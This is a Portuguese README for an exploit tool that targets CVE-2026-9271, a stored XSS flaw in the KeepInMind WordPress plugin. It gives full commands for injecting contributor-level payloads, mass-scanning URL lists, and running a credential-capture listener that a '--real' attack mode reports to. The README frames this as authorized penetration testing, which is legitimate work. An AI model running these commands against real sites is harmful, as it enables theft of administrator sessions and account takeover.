
Ferramenta autorizada de avaliação de XSS armazenado para o CVE-2026-9271 no plugin KeepInMind do WordPress. Detecta versões vulneráveis, injeta payloads de teste seguros e suporta varredura em massa com relatórios SQLite.
Ferramenta de avaliação de segurança autorizada para CVE-2026-9271
Autor: Sudeepa Wanigarathna · Ferramenta: KIM-Guardian Pro v1.0
Script principal: CVE-2026-9271.py

[!IMPORTANT] Somente uso autorizado. Esta ferramenta destina-se à pesquisa em segurança, educação e testes em sistemas que você possui ou para os quais possui permissão explícita por escrito. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume responsabilidade por uso indevido.
CVE-2026-9271 é um problema de cross-site scripting (XSS) armazenado no plugin KeepInMind (Notas do Painel) do WordPress. A sanitização insuficiente do conteúdo das notas permite que um usuário autenticado com privilégios baixos (Contributor+) armazene HTML/JS que é executado no navegador de um administrador, o que pode levar a comprometimento da sessão de administrador / tomada de conta (account takeover).
KIM-Guardian Pro (CVE-2026-9271.py) é uma ferramenta de avaliação em Python para testadores autorizados:
reports/| Atributo | Valor |
|---|---|
| CVE ID | CVE-2026-9271 |
| Vetor de Ataque | Autenticado (Contributor+) → XSS Armazenado → Impacto no Administrador |
| Impacto | XSS no navegador do administrador; possível tomada de conta em instalações vulneráveis |
| Produto Afetado | WordPress KeepInMind / KeepInMind Dashboard Notes |
| Versões Afetadas | ≤ 0.8.4.2 (corrigido na 0.8.4.3+) |
| Tipo de Vulnerabilidade | Cross-Site Scripting (XSS) Armazenado |
| CWE | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| Superfície | Função |
|---|---|
/wp-json/keepinmind/v1/notes | API REST usada para criar/ler notas |
/wp-admin/ | Painel administrativo onde as notas armazenadas podem ser renderizadas |
| Caminho do plugin | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup seja usado)| Capacidade | Descrição |
|---|---|
| Detecção do plugin | Verifica caminhos de instalação e strings de versão do KeepInMind |
| Versão do WordPress | Extrai metadados de generator / versão quando disponíveis |
| Modo de teste seguro | Marcador sobreposto padrão que comprova o XSS sem capturar credenciais |
| Avaliação autenticada | Faz login com credenciais de Contributor+ para injeção completa via REST |
| Limpeza de payload | Remove as notas injetadas após a avaliação |
| Varredura em massa | Varredura multithread de lista de URLs para plugin + versão vulnerável |
| Histórico SQLite | Armazena avaliações em kim_guardian.db |
| Relatórios de texto | Grava relatórios com timestamp em reports/ |
| Servidor de captura | Listener HTTP local opcional para exercícios de captura de credenciais em laboratório |
| Interface web | Painel Flask opcional (modo web) |
| Capacidade | Descrição |
|---|---|
| Registro detalhado (verbose) | Depuração em arquivo + console em logs/ |
| Suporte a proxy | Roteia o tráfego por meio do Burp ou outros proxies HTTP |
| Tempo limite configurável | Tempo limite por solicitação (padrão 30s) |
| Pool de workers | Concorrência ajustável para varreduras em massa |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # optional — web mode only
Substitua
https://lab.examplepor um alvo de laboratório ou autorizado apenas.
# Help / modes
python3 CVE-2026-9271.py --help
# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000
# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
O modo padrão usa uma sobreposição de teste sem captura. Forneça credenciais de Contributor+ para injeção via API REST.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
Fluxo de trabalho:
-u / -p forem fornecidos)--no-cleanup seja usado)reports/kim_assessment_*.txtpython3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
Requer uma URL base de atacante/captura e --real. Para laboratórios, prefira manter a captura em localhost.
# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
Interface de captura (quando o servidor estiver em execução):
| Caminho | Finalidade |
|---|---|
/ | Página de status do servidor de captura |
/capture | Endpoint POST para envios de formulário |
/captured | Entradas recentes capturadas (revisão em laboratório) |
# targets.txt — one URL per line
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Or comma-separated URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
As verificações em massa normalmente incluem indícios do WordPress, versão do KeepInMind, acessibilidade da REST e presença de wp-login.php.
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Por padrão, faz bind em localhost por segurança.
| Modo | Descrição |
|---|---|
assess | Avaliação KeepInMind de alvo único |
bulk | Varredura de plugin / versão em múltiplos alvos |
capture | Servidor HTTP local de captura de credenciais |
web | Interface web Flask opcional |
db | Listar avaliações armazenadas |
assess| Argumento | Padrão | Descrição |
|---|---|---|
url | obrigatório | URL do WordPress alvo |
-u, --username | — | Nome de usuário do WordPress (Contributor+) |
-p, --password | — | Senha do WordPress |
-a, --attacker | — | URL base do servidor de captura (simulação em laboratório) |
-t, --test | ativado | Preferir payload de teste seguro |
-r, --real | desativado | Habilitar payload de ataque em laboratório (exige --attacker) |
--no-cleanup | desativado | Deixar as notas injetadas no lugar |
-v, --verbose | desativado | Registro detalhado / depuração |
--timeout | 30 | Tempo limite de solicitação (segundos) |
--proxy | — | URL do proxy (ex.: http://127.0.0.1:8080) |
bulk| Argumento | Padrão | Descrição |
|---|---|---|
-f, --file | — | Arquivo de URLs (uma por linha) |
-u, --urls | — | URLs separadas por vírgula |
-w, --workers | 5 | Tamanho do pool de threads |
-o, --output | bulk_scan_results.txt | Caminho do relatório |
capture| Argumento | Padrão | Descrição |
|---|---|---|
--port | 5000 | Porta de escuta |
web| Argumento | Padrão | Descrição |
|---|---|---|
--host | 127.0.0.1 | Endereço de bind |
--port | 8080 | Porta de escuta |
db| Argumento | Padrão | Descrição |
|---|---|---|
--list | desativado | Listar avaliações recentes |
--limit | 10 | Máximo de linhas a exibir |
Status colorido para autenticação, detecção de plugin, injeção, verificação e limpeza.
Execuções bem-sucedidas de assess gravam arquivos como:
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
| Arquivo | Finalidade |
|---|---|
kim_guardian.db | Histórico de avaliações (alvo, versões, flag de vulnerabilidade, risco, duração) |
| Caminho | Finalidade |
|---|---|
logs/kim_pro_*.log | Logs do aplicativo por execução |
| Sintoma | O que tentar |
|---|---|
| Falha na autenticação | Confirme as credenciais de Contributor+; verifique /wp-login.php; use -v |
| Plugin não detectado | Verifique o caminho/nome do KeepInMind; tente o modo detalhado |
| Falha na injeção REST | Confirme autenticação + nonce; inspecione com --proxy via Burp |
| Erros de tempo limite / conexão | Aumente --timeout; verifique rede / TLS / proxy |
| Nenhuma vulnerabilidade no modo de teste | Confirme a versão ≤ 0.8.4.2; garanta que as notas sejam renderizadas para o administrador |
Flask ausente no modo web | pip install flask |
| BeautifulSoup ausente | pip install beautifulsoup4 |
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Python dependencies
├── README.md # This file
├── kim_guardian.db # SQLite assessment history (generated)
├── logs/ # Runtime logs (generated)
├── reports/ # Assessment text reports (generated)
└── venv/ # Local virtualenv (optional)
Este projeto é fornecido como está para pesquisa de segurança defensiva e testes de penetração autorizados.
Ao usar este software, você concorda que:
Se você encontrar este problema em sistemas de produção que não possui, siga a divulgação responsável junto ao proprietário do site e ao mantenedor do plugin.
O acesso não autorizado a sistemas de computador é ilegal.
| Função | Nome |
|---|---|
| Autor da Ferramenta | Sudeepa Wanigarathna |
| CVE | CVE-2026-9271 |
| Ferramenta | KIM-Guardian Pro v1.0 |
| Script Principal | CVE-2026-9271.py |
| Licença | Educacional / Uso Defensivo |
Educational / Defensive Use Only
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is granted to use this software for authorized security research,
education, and defensive assessment only.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Somente para testes de segurança autorizados.